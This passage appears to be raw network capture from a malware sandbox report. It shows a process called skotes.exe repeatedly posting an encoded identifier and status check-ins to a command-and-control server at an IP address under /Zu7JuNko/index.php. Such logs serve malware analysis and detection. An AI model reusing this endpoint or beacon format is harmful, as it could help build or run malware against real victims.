Oct 7, 2024 13:31:26.546381950 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:31:27.273475885 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	50141	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:31:28.896748066 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:31:29.586378098 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	50142	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:31:31.109467030 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:31:31.821365118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	50143	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:31:33.456732988 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:31:34.156507015 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.5	50144	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:31:35.672460079 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:31:36.381623030 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.5	50145	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:31:38.016172886 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:31:38.705774069 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.5	50146	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:31:40.219568968 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:31:41.014177084 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.5	50147	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:31:42.645889044 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:31:44.128748894 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 7, 2024 13:31:44.128832102 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 7, 2024 13:31:44.128925085 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.5	50148	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:31:45.800882101 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:31:46.504376888 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	50149	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:31:48.127213955 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:31:49.097800016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 7, 2024 13:31:49.098047972 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	50150	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:31:50.610152960 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:31:51.304862022 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	50151	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:31:52.940552950 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:31:53.649184942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	50152	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:31:55.174923897 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:31:55.879693985 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	50153	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:31:57.518959999 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:31:58.214097977 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:31:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	50154	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:31:59.806255102 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:32:00.499599934 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	50155	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:32:02.125539064 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:32:02.840547085 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	50156	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:32:04.687041998 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:32:05.395593882 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	50157	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:32:07.190037966 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:32:07.876427889 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	50158	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:32:09.392829895 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:32:10.091784954 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	50159	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:32:11.722995043 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 7, 2024 13:32:12.433034897 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	50160	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:32:13.955127954 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 36 32 45 37 36 42 38 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B62E76B85082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 7, 2024 13:32:15.087376118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Oct 7, 2024 13:32:15.087553978 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Oct 7, 2024 13:32:15.087788105 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 07 Oct 2024 11:32:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	50161	185.215.113.43	80	5560	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 13:32:16.718857050 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
